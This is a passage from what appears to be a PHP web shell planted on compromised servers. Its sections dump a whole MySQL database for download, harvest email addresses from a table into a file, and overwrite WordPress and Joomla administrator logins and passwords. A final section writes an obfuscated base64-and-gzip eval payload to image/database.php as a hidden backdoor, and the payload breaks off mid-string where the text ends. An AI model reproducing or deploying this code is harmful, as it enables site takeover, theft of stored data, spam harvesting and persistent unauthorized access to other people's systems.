- <td width=250 style=\'color:#FF0000;background-color:#000000\'><input style=\'color:#FF0000;background-color:#000000\' type=text name=dbname></td>
- </tr>
- <tr>
- <td width=400 colspan=2 style=\'color:#FF0000;background-color:#000000\'><center><input style=\'color:#FF0000;background-color:#000000\' type=submit value=" Dump! " ></td>
- </tr>
- </table></form></center></table>';
- if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
- $date = date("Y-m-d");
- $dbserver = $_POST['server'];
- $dbuser = $_POST['username'];
- $dbpass = $_POST['password'];
- $dbname = $_POST['dbname'];
- $file = "Dump-$dbname-$date";
- $method = $_POST['method'];
- if ($method=='sql'){
- $file="Dump-$dbname-$date.sql";
- $fp=fopen($file,"w");
- }else{
- $file="Dump-$dbname-$date.sql.gz";
- $fp = gzopen($file,"w");
- }
- function write($data) {
- global $fp;
- if ($_POST['method']=='sql'){
- fwrite($fp,$data);
- }else{
- gzwrite($fp, $data);
- }}
- function filesize_n($path)
- {
- $size = @filesize($path);
- if( $size < 0 ){
- ob_start();
- system('ls -al "'.$path.'" | awk \'BEGIN {FS=" "}{print $5}\'');
- $size = ob_get_clean();
- }
- return $size;
- }
- function format_size($size) {
- $sizes = array(" Bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB");
- if ($size == 0) { return('n/a'); } else {
- return (round($size/pow(1024, ($i = floor(log($size, 1024)))), $i > 1 ? 2 : 0) . $sizes[$i]); }
- }
- mysql_connect ($dbserver, $dbuser, $dbpass);
- mysql_select_db($dbname);
- $tables = mysql_query ("SHOW TABLES");
- while ($i = mysql_fetch_array($tables)) {
- $i = $i['Tables_in_'.$dbname];
- $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
- write($create['Create Table'].";\n\n");
- $sql = mysql_query ("SELECT * FROM ".$i);
- if (mysql_num_rows($sql)) {
- while ($row = mysql_fetch_row($sql)) {
- foreach ($row as $j => $k) {
- $row[$j] = "'".mysql_escape_string($k)."'";
- }
- write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
- }
- }
- }
- if ($method=='sql'){
- fclose ($fp);
- }else{
- gzclose($fp);}
- $sizedatabasefile = filesize_n($file);
- $sizehumanreadable = format_size($sizedatabasefile);
- echo "<br><br>
- <center><font color='#FF0000'>Download Database -> </font>
- <a href='$file'>Here</a>
- <font color='#FF0000'> | DatabaseFileSize -> $sizehumanreadable </font></center>";
- flush();
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'mailex'))
- {
- ?>
- <form name="" action="" method="post">
- </br>
- <center>
- <table width="200" border="0">
- <tr>
- <td width="100" bgcolor="#0066CC"><div align="center"><font color="#FFFFFF" >Host :</font></div></td>
- <td width="100"> <input class="inputz" name="dbhost" type="text" value="localhost"></td>
- </tr>
- </table></center>
- <center>
- <table width="500" >
- <tr>
- <td width="100" bgcolor="#0066CC"><div align="center"><font color="red">Database Name</font></div></td>
- <td width="100" bgcolor="#0066CC"><div align="center"><font color="#333">Username</font></div></td>
- <td width="100" bgcolor="#0066CC"><div align="center"><font color="#333">Password</font></div></td>
- <td width="100" bgcolor="#0066CC"><div align="center"><font color="#333">Table</font></div></td>
- <td width="100" bgcolor="#0066CC"><div align="center"><font color="#333">Row</font></div></td>
- </tr>
- <tr>
- <td>
- <input class="inputz" name="dbname" type="text" value="">
- </td>
- <td>
- <input class="inputz" name="dbuser" type="text" value="">
- </td>
- <td>
- <input class="inputz" name="dbpass" type="text" value="">
- </td>
- <td><input class="inputz" name="dbtable" type="text" value=""></td>
- <td><input class="inputz" name="dbrow" type="text" value=""></td>
- </tr>
- </table>
- <p>Display option :
- <label>
- <select class="inputz" name="display" id="display">
- <option selected>Lines</option>
- <option>Separated by ;</option>
- </select>
- </label>
- </p>
- <p><font color="#0066CC">
- <input class="inputz" type="submit" value="Start Grabbing">
- </font>
- </p>
- </center>
- </form>
- <font color="#FFFFFF">
- <?php
- if($_POST['dbuser']&&$_POST['dbpass']&&$_POST['dbname']&&$_POST['dbrow']){
- $dbhost=$_POST['dbhost'];
- $dbuser=$_POST['dbuser'];
- $dbpass=$_POST['dbpass'];
- $dbname=$_POST['dbname'];
- $dbtable=$_POST['dbtable'];
- $dbrow=$_POST['dbrow'];
- $display=$_POST['display'];
- $mail='';
- $sujet='Emails';
- $con=mysql_connect($dbhost,$dbuser,$dbpass);
- if(!$con){
- echo "Connection failed";
- exit;
- }
- $sdb=mysql_select_db($dbname,$con);
- if(!$sdb){
- echo "No database found";
- exit;
- }
- $queryc="select count(*) from " .$dbtable."";
- $selectc=mysql_query($queryc);
- $resultat=mysql_fetch_row($selectc);
- echo "<br><center>You got <font color='red'>" .$resultat[0]. " </font>Emails...</center><br>";
- echo "<center>File : <a href='./emails.txt'>Download(SAVE AS..)</a></center>";
- $query="select * from " .$dbtable."";
- $select=mysql_query($query);
- while($row=mysql_fetch_array($select))
- {
- $email=$row[$dbrow];
- if($email !='' && $display=='Lines'){
- echo $email;
- echo "<br />";
- $monfichier = fopen('emails.txt', 'a+');
- fputs($monfichier, $email);
- fputs($monfichier, ("\n"));
- fclose($monfichier);
- }
- else{
- echo $email;
- echo ";";
- $monfichier = fopen('emails.txt', 'a+');
- fputs($monfichier, $email);
- fputs($monfichier, (";"));
- fclose($monfichier);
- }
- }
- mysql_close($con);
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'wp')) {
- echo "<center/><br/>
- <b><font color=blue>[+] Change PASS Admin WP [+]</font></b><br><br>";
- if(empty($_POST['pwd'])){
- echo "<FORM method='POST'>
- <table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Host</td><td>
- <input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
- <input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
- <input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
- <input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
- <tr><td> User baru</td><td>
- <input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
- <tr><td> Pass Baru</td><td>
- <input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
- <input style='width:19%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
- </td></tr> </table><br><br><br><br>
- ";
- }else{
- $localhost = $_POST['localhost'];
- $database = $_POST['database'];
- $username = $_POST['username'];
- $password = $_POST['password'];
- $pwd = $_POST['pwd'];
- $admin = $_POST['admin'];
- @mysql_connect($localhost,$username,$password) or die(mysql_error());
- @mysql_select_db($database) or die(mysql_error());
- $hash = crypt($pwd);
- $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
- if($a4s){
- echo "<b>Change Successfully</b> ";
- }
- }
- echo "</div>"; }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'joomla')) {
- echo "<center/><br/><b><font color=blue>[+] Change PASS Admin JOOMLA [+]</font></b><br><br>";
- if(empty($_POST['pwd'])){
- echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
- <input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr>
- <tr><td> Database</td><td>
- <input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr>
- <tr><td> username</td><td>
- <input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr>
- <tr><td> password</td><td>
- <input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
- <tr><td> New User</td><td>
- <input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
- <tr><td> New Pass </td>
- <td>123456 = <input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' /> </td></tr>
- <tr><td><input style='width:130%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
- </td></tr></table><br>";
- }else{
- $localhost = $_POST['localhost'];
- $database = $_POST['database'];
- $username = $_POST['username'];
- $password = $_POST['password'];
- $pwd = $_POST['pwd'];
- $admin = $_POST['admin'];
- @mysql_connect($localhost,$username,$password) or die(mysql_error());
- @mysql_select_db($database) or die(mysql_error());
- $hash = crypt($pwd);
- $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
- if($SQL){
- echo "<b>Change Successfully";
- }
- }
- echo "</div>"; }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql'))
- {
- if (!is_dir('image')){
- $mk = @mkdir('image',0777);
- @fwrite($f , $c);
- $f2 =@fopen ('image/database.php','w');
- $sml_db =
- "PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUxMzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MWcwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRzFtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUlwNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTmFTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXREdGxVMGpydnZ6dE1Rc0xuSWlYRTlzR09VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3REdaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNN